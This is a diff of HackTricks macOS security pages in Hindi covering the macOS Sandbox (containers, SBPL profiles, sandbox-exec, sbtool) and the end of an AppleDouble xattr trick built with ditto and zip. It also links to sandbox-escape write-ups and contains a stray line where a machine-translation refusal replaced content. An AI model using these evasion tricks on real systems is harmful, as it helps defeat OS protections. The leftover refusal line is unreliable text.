perror("setxattr");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
return 0; }
|
print_xattrs(filepath);
|
||||||
|
|
||||||
````
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'></div>
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# Create appledoublefile with the xattr entitlement
|
# Create appledoublefile with the xattr entitlement
|
||||||
ditto -c -k start protected.zip
|
ditto -c -k start protected.zip
|
||||||
|
@ -122,16 +177,24 @@ rm -rf protected.zip
|
||||||
zip -r protected.zip protected ._protected
|
zip -r protected.zip protected ._protected
|
||||||
rm -rf protected
|
rm -rf protected
|
||||||
rm ._*
|
rm ._*
|
||||||
````
|
```
|
||||||
|
{% endcode %}
|
||||||
Since the provided text does not contain any English content to translate, there is nothing to translate into Hindi. The text is a closing tag for a code block in markdown syntax. If you have any actual content that needs translation, please provide it, and I'll be happy to assist.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check if it worked
|
# Check if it worked
|
||||||
ditto -x -k --rsrc protected.zip .
|
ditto -x -k --rsrc protected.zip .
|
||||||
xattr -l protected
|
xattr -l protected
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और अभ्यास करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और अभ्यास करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
|
||||||
|
* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,35 +1,36 @@
|
||||||
# macOS सैंडबॉक्स
|
# macOS Sandbox
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PR जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
MacOS सैंडबॉक्स (पहले सीटबेल्ट कहा जाता था) **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं तक सीमित करता है** जिसमें ऐप चल रहा है। यह सुनिश्चित करने में मदद करता है कि **ऐप्लिकेशन केवल अपेक्षित संसाधनों तक ही पहुंचेगा**।
|
MacOS Sandbox (शुरुआत में Seatbelt कहा जाता था) **सैंडबॉक्स के अंदर चलने वाले अनुप्रयोगों** को **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं** तक सीमित करता है जिसके साथ ऐप चल रहा है। यह सुनिश्चित करने में मदद करता है कि **अनुप्रयोग केवल अपेक्षित संसाधनों तक पहुँच रहा होगा**।
|
||||||
|
|
||||||
किसी भी ऐप में **अधिकार** **`com.apple.security.app-sandbox`** होगा तो सैंडबॉक्स में चलाया जाएगा। **एप्पल बाइनरी** आम तौर पर सैंडबॉक्स में चलाए जाते हैं और **एप्प स्टोर** में प्रकाशित करने के लिए **यह अधिकार अनिवार्य है**। इसलिए अधिकांश ऐप्लिकेशन सैंडबॉक्स में चलाए जाएंगे।
|
कोई भी ऐप जिसमें **अधिकार** **`com.apple.security.app-sandbox`** है, सैंडबॉक्स के अंदर चलाया जाएगा। **एप्पल बाइनरी** आमतौर पर सैंडबॉक्स के अंदर चलाए जाते हैं और **ऐप स्टोर** में प्रकाशित करने के लिए, **यह अधिकार अनिवार्य है**। इसलिए अधिकांश अनुप्रयोग सैंडबॉक्स के अंदर चलाए जाएंगे।
|
||||||
|
|
||||||
प्रक्रिया को क्या करने या क्या नहीं करने देने के लिए **सैंडबॉक्स में हुक्स** होते हैं सभी **कर्नेल** के सभी **सिसकॉल्स** में। ऐप के **अधिकारों** के आधार पर सैंडबॉक्स कुछ क्रियाएँ **अनुमति** देगा।
|
यह नियंत्रित करने के लिए कि एक प्रक्रिया क्या कर सकती है या नहीं कर सकती है, **सैंडबॉक्स में सभी** **syscalls** के लिए **हुक** होते हैं। **ऐप के अधिकारों** के आधार पर, सैंडबॉक्स कुछ क्रियाओं को **अनुमति** देगा।
|
||||||
|
|
||||||
सैंडबॉक्स के कुछ महत्वपूर्ण घटक हैं:
|
सैंडबॉक्स के कुछ महत्वपूर्ण घटक हैं:
|
||||||
|
|
||||||
* **कर्नेल एक्सटेंशन** `/System/Library/Extensions/Sandbox.kext`
|
* **कर्नेल एक्सटेंशन** `/System/Library/Extensions/Sandbox.kext`
|
||||||
* **निजी फ्रेमवर्क** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
* **निजी ढांचा** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||||
* एक **डेमन** जो यूजरलैंड में चल रहा है `/usr/libexec/sandboxd`
|
* एक **डेमन** जो उपयोगकर्ता भूमि में चल रहा है `/usr/libexec/sandboxd`
|
||||||
* **कंटेनर** `~/Library/Containers`
|
* **कंटेनर** `~/Library/Containers`
|
||||||
|
|
||||||
कंटेनर्स फ़ोल्डर के अंदर आप **हर ऐप के लिए एक फ़ोल्डर पाएंगे जो सैंडबॉक्स में चलाया गया है** जिसका नाम है bundle id:
|
कंटेनर फ़ोल्डर के अंदर आप **प्रत्येक ऐप के लिए एक फ़ोल्डर पा सकते हैं जो सैंडबॉक्स में चलाया गया है** जिसका नाम बंडल आईडी है:
|
||||||
```bash
|
```bash
|
||||||
ls -l ~/Library/Containers
|
ls -l ~/Library/Containers
|
||||||
total 0
|
total 0
|
||||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
||||||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
हर बंडल आईडी फ़ोल्डर में आप ऐप का **plist** और **डेटा डायरेक्टरी** पा सकते हैं:
|
प्रत्येक बंडल आईडी फ़ोल्डर के अंदर आप **plist** और ऐप का **Data directory** पा सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
cd /Users/username/Library/Containers/com.apple.Safari
|
cd /Users/username/Library/Containers/com.apple.Safari
|
||||||
ls -la
|
ls -la
|
||||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
||||||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
ध्यान दें कि यदि सिमलिंक्स सैंडबॉक्स से "बाहर निकलने" और अन्य फ़ोल्डर तक पहुंचने के लिए मौजूद हैं, तो भी ऐप को उन तक पहुंचने की अनुमति होनी चाहिए। ये अनुमतियाँ **`.plist`** में होती हैं।
|
ध्यान दें कि भले ही symlinks "Sandbox" से "भागने" और अन्य फ़ोल्डरों तक पहुँचने के लिए हैं, ऐप को अभी भी उन्हें एक्सेस करने के लिए **अनुमतियाँ** होनी चाहिए। ये अनुमतियाँ **`.plist`** के अंदर हैं।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Get permissions
|
# Get permissions
|
||||||
|
@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
सैंडबॉक्स एप्लिकेशन द्वारा बनाए या संशोधित किया गया हर वस्तु **क्वारंटाइन एट्रिब्यूट** प्राप्त करेगी। यह सैंडबॉक्स ऐप्लिकेशन को रोकेगा अगर सैंडबॉक्स एप्लिकेशन को **`open`** के साथ कुछ निष्पादित करने की कोशिश करता है।
|
एक Sandboxed एप्लिकेशन द्वारा बनाई गई/संशोधित हर चीज़ को **quarantine attribute** मिलेगा। यह **sandbox** स्पेस को Gatekeeper को ट्रिगर करके रोक देगा यदि sandbox ऐप कुछ **`open`** के साथ निष्पादित करने की कोशिश करता है।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### सैंडबॉक्स प्रोफाइल
|
### Sandbox Profiles
|
||||||
|
|
||||||
सैंडबॉक्स प्रोफाइल कॉन्फ़िगरेशन फ़ाइलें हैं जो इस सैंडबॉक्स में क्या **अनुमति/निषेधित** होने वाला है वह दिखाती है। यह **सैंडबॉक्स प्रोफ़ाइल भाषा (SBPL)** का उपयोग करती है, जो [**स्कीम**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) प्रोग्रामिंग भाषा का उपयोग करती है।
|
Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ाइलें हैं जो यह संकेत देती हैं कि उस **Sandbox** में क्या **अनुमति/प्रतिबंधित** होगा। यह **Sandbox Profile Language (SBPL)** का उपयोग करता है, जो [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) प्रोग्रामिंग भाषा का उपयोग करता है।
|
||||||
|
|
||||||
यहाँ आप एक उदाहरण पा सकते हैं:
|
यहाँ एक उदाहरण है:
|
||||||
```scheme
|
```scheme
|
||||||
(version 1) ; First you get the version
|
(version 1) ; First you get the version
|
||||||
|
|
||||||
|
@ -140,28 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
इस [**शोध**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **की जाँच करें और अधिक क्रियाएँ जो अनुमति दी जा सकती हैं या नहीं।**
|
Check this [**research**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **यहाँ अधिक क्रियाएँ देखने के लिए जो अनुमति दी जा सकती हैं या अस्वीकृत की जा सकती हैं।**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
महत्वपूर्ण **सिस्टम सेवाएं** भी अपने खुद के **संदूक** में चलती हैं जैसे `mdnsresponder` सेवा। आप इन विशेष **सैंडबॉक्स प्रोफाइल** को निम्नलिखित में देख सकते हैं:
|
महत्वपूर्ण **सिस्टम सेवाएँ** अपने स्वयं के कस्टम **सैंडबॉक्स** के अंदर चलती हैं जैसे कि `mdnsresponder` सेवा। आप इन कस्टम **सैंडबॉक्स प्रोफाइल** को देख सकते हैं:
|
||||||
|
|
||||||
* **`/usr/share/sandbox`**
|
* **`/usr/share/sandbox`**
|
||||||
* **`/System/Library/Sandbox/Profiles`** 
|
* **`/System/Library/Sandbox/Profiles`** 
|
||||||
* अन्य सैंडबॉक्स प्रोफाइल यहाँ देखे जा सकते हैं [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
* अन्य सैंडबॉक्स प्रोफाइल को [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) पर चेक किया जा सकता है।
|
||||||
|
|
||||||
**ऐप स्टोर** ऐप्स **प्रोफाइल** का उपयोग करते हैं **`/System/Library/Sandbox/Profiles/application.sb`**। आप इस प्रोफाइल में देख सकते हैं कि कैसे **`com.apple.security.network.server`** जैसे अधिकारों द्वारा प्रक्रिया को नेटवर्क का उपयोग करने की अनुमति देता है।
|
**ऐप स्टोर** ऐप्स **प्रोफाइल** **`/System/Library/Sandbox/Profiles/application.sb`** का उपयोग करते हैं। आप इस प्रोफाइल में देख सकते हैं कि कैसे अधिकार जैसे **`com.apple.security.network.server`** एक प्रक्रिया को नेटवर्क का उपयोग करने की अनुमति देते हैं।
|
||||||
|
|
||||||
SIP एक सैंडबॉक्स प्रोफाइल है जिसे platform\_profile कहा जाता है /System/Library/Sandbox/rootless.conf
|
SIP एक सैंडबॉक्स प्रोफाइल है जिसे /System/Library/Sandbox/rootless.conf में platform\_profile कहा जाता है।
|
||||||
|
|
||||||
### सैंडबॉक्स प्रोफाइल उदाहरण
|
### सैंडबॉक्स प्रोफाइल उदाहरण
|
||||||
|
|
||||||
एक **निश्चित सैंडबॉक्स प्रोफाइल** के साथ एक ऐप्लिकेशन शुरू करने के लिए आप इस्तेमाल कर सकते हैं:
|
एक **विशिष्ट सैंडबॉक्स प्रोफाइल** के साथ एक एप्लिकेशन शुरू करने के लिए आप उपयोग कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
sandbox-exec -f example.sb /Path/To/The/Application
|
sandbox-exec -f example.sb /Path/To/The/Application
|
||||||
```
|
```
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="स्पर्श" %}
|
{% tab title="touch" %}
|
||||||
{% code title="स्पर्श.sb" %}
|
{% code title="touch.sb" %}
|
||||||
```scheme
|
```scheme
|
||||||
(version 1)
|
(version 1)
|
||||||
(deny default)
|
(deny default)
|
||||||
|
@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
ध्यान दें कि **Windows पर चलने वाले Apple द्वारा बनाए गए सॉफ्टवेयर** में अतिरिक्त सुरक्षा सावधानियाँ नहीं हैं, जैसे कि एप्लिकेशन सैंडबॉक्सिंग।
|
ध्यान दें कि **Apple द्वारा लिखित** **सॉफ़्टवेयर** जो **Windows** पर चलता है, उसमें **अतिरिक्त सुरक्षा उपाय** नहीं हैं, जैसे कि एप्लिकेशन सैंडबॉक्सिंग।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
बायपास उदाहरण:
|
बायपास के उदाहरण:
|
||||||
|
|
||||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले सैंडबॉक्स के बाहर फ़ाइलें लिख सकते हैं)।
|
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले नाम के साथ सैंडबॉक्स के बाहर फ़ाइलें लिखने में सक्षम हैं)।
|
||||||
|
|
||||||
### MacOS सैंडबॉक्स प्रोफाइल
|
### MacOS सैंडबॉक्स प्रोफाइल
|
||||||
|
|
||||||
macOS सिस्टम सैंडबॉक्स प्रोफाइल को दो स्थानों में संग्रहित करता है: **/usr/share/sandbox/** और **/System/Library/Sandbox/Profiles**।
|
macOS सिस्टम सैंडबॉक्स प्रोफाइल को दो स्थानों पर संग्रहीत करता है: **/usr/share/sandbox/** और **/System/Library/Sandbox/Profiles**।
|
||||||
|
|
||||||
और अगर किसी थर्ड-पार्टी एप्लिकेशन में _**com.apple.security.app-sandbox**_ अधिकार है, तो सिस्टम **/System/Library/Sandbox/Profiles/application.sb** प्रोफाइल को उस प्रक्रिया पर लागू करता है।
|
और यदि कोई तृतीय-पक्ष एप्लिकेशन _**com.apple.security.app-sandbox**_ अधिकार रखता है, तो सिस्टम उस प्रक्रिया पर **/System/Library/Sandbox/Profiles/application.sb** प्रोफाइल लागू करता है।
|
||||||
|
|
||||||
### **iOS सैंडबॉक्स प्रोफाइल**
|
### **iOS सैंडबॉक्स प्रोफाइल**
|
||||||
|
|
||||||
डिफ़ॉल्ट प्रोफ़ाइल को **कंटेनर** कहा जाता है और हमें SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, यह सैंडबॉक्स प्रत्येक अनुमतियों के लिए Allow/Deny बाइनरी ट्री के रूप में प्रतिनिधित्व किया जाता है।
|
डिफ़ॉल्ट प्रोफाइल को **container** कहा जाता है और हमारे पास SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, इस सैंडबॉक्स को सैंडबॉक्स से प्रत्येक अनुमति के लिए Allow/Deny बाइनरी ट्री के रूप में दर्शाया गया है।
|
||||||
|
|
||||||
### डीबग और सैंडबॉक्स को बायपास करें
|
### डिबग और बायपास सैंडबॉक्स
|
||||||
|
|
||||||
macOS पर, iOS की तरह जहां प्रक्रियाएँ कर्नेल द्वारा प्रारंभ में सैंडबॉक्स में होती हैं, **प्रक्रियाएँ स्वयं सैंडबॉक्स में शामिल होने के लिए विकल्प चुनना होता है**। इसका मतलब है कि macOS पर, एक प्रक्रिया सैंडबॉक्स द्वारा प्रतिबंधित नहीं है जब तक वह इसमें प्रवेश करने का सक्रिय रूप से निर्णय नहीं लेती।
|
macOS पर, iOS के विपरीत जहां प्रक्रियाएँ शुरू से ही कर्नेल द्वारा सैंडबॉक्स की जाती हैं, **प्रक्रियाओं को स्वयं सैंडबॉक्स में शामिल होना चाहिए**। इसका मतलब है कि macOS पर, एक प्रक्रिया तब तक सैंडबॉक्स द्वारा प्रतिबंधित नहीं होती जब तक कि वह सक्रिय रूप से इसमें प्रवेश करने का निर्णय नहीं लेती।
|
||||||
|
|
||||||
प्रक्रियाएँ उस समय स्वचालित रूप से सैंडबॉक्स में बंद हो जाती हैं जब वे शुरू होती हैं अगर उनके पास यह अधिकार है: `com.apple.security.app-sandbox`। इस प्रक्रिया का विस्तृत विवरण के लिए देखें:
|
यदि प्रक्रियाओं के पास अधिकार है: `com.apple.security.app-sandbox`, तो वे उपयोगकर्ता भूमि से स्वचालित रूप से सैंडबॉक्स की जाती हैं जब वे शुरू होती हैं। इस प्रक्रिया के विस्तृत विवरण के लिए देखें:
|
||||||
|
|
||||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||||
|
@ -240,20 +241,20 @@ macOS पर, iOS की तरह जहां प्रक्रियाए
|
||||||
|
|
||||||
### **PID विशेषाधिकार जांचें**
|
### **PID विशेषाधिकार जांचें**
|
||||||
|
|
||||||
[**इस के अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (यह एक `__mac_syscall` है), किसी निश्चित PID में सैंडबॉक्स द्वारा किसी कार्रवाई की अनुमति है या नहीं यह जांच सकता है।
|
[**इसके अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (यह एक `__mac_syscall` है), यह जांच सकता है **कि किसी ऑपरेशन की अनुमति है या नहीं** किसी निश्चित PID द्वारा सैंडबॉक्स में।
|
||||||
|
|
||||||
[**उपकरण sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) यह जांच सकता है कि क्या एक PID किसी विशिष्ट कार्रवाई को कर सकता है:
|
[**उपकरण sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) यह जांच सकता है कि क्या एक PID एक निश्चित क्रिया कर सकता है:
|
||||||
```bash
|
```bash
|
||||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||||
sbtool <pid> file /tmp #Check file access
|
sbtool <pid> file /tmp #Check file access
|
||||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||||
sbtool <pid> all
|
sbtool <pid> all
|
||||||
```
|
```
|
||||||
### App Store ऐप्स में कस्टम SBPL
|
### Custom SBPL in App Store apps
|
||||||
|
|
||||||
कंपनियों के लिए अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल्स** के साथ चलाना संभव हो सकता है (डिफ़ॉल्ट वाले के बजाय). उन्हें **`com.apple.security.temporary-exception.sbpl`** इंटाइटलमेंट का उपयोग करना होगा जिसे Apple द्वारा अधिकृत किया जाना चाहिए।
|
यह संभव है कि कंपनियाँ अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल** के साथ चलाएँ (डिफ़ॉल्ट प्रोफाइल के बजाय)। उन्हें एप्पल द्वारा अधिकृत **`com.apple.security.temporary-exception.sbpl`** अधिकार का उपयोग करने की आवश्यकता है।
|
||||||
|
|
||||||
इस इंटाइटलमेंट की परिभाषा की जांच **`/System/Library/Sandbox/Profiles/application.sb:`** में संभव है।
|
इस अधिकार की परिभाषा की जाँच करना संभव है **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||||
```scheme
|
```scheme
|
||||||
(sandbox-array-entitlement
|
(sandbox-array-entitlement
|
||||||
"com.apple.security.temporary-exception.sbpl"
|
"com.apple.security.temporary-exception.sbpl"
|
||||||
|
@ -261,18 +262,19 @@ sbtool <pid> all
|
||||||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||||
(with-transparent-redirection (eval sbpl)))))
|
(with-transparent-redirection (eval sbpl)))))
|
||||||
```
|
```
|
||||||
यह **इस entitlement के बाद दिए गए स्ट्रिंग को** एक Sandbox प्रोफ़ाइल के रूप में evaluate करेगा।
|
यह **इस अधिकार के बाद के स्ट्रिंग को** एक Sandbox प्रोफ़ाइल के रूप में **eval** करेगा।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फ़ॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# macOS डिफ़ॉल्ट सैंडबॉक्स डीबग
|
# macOS Default Sandbox Debug
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
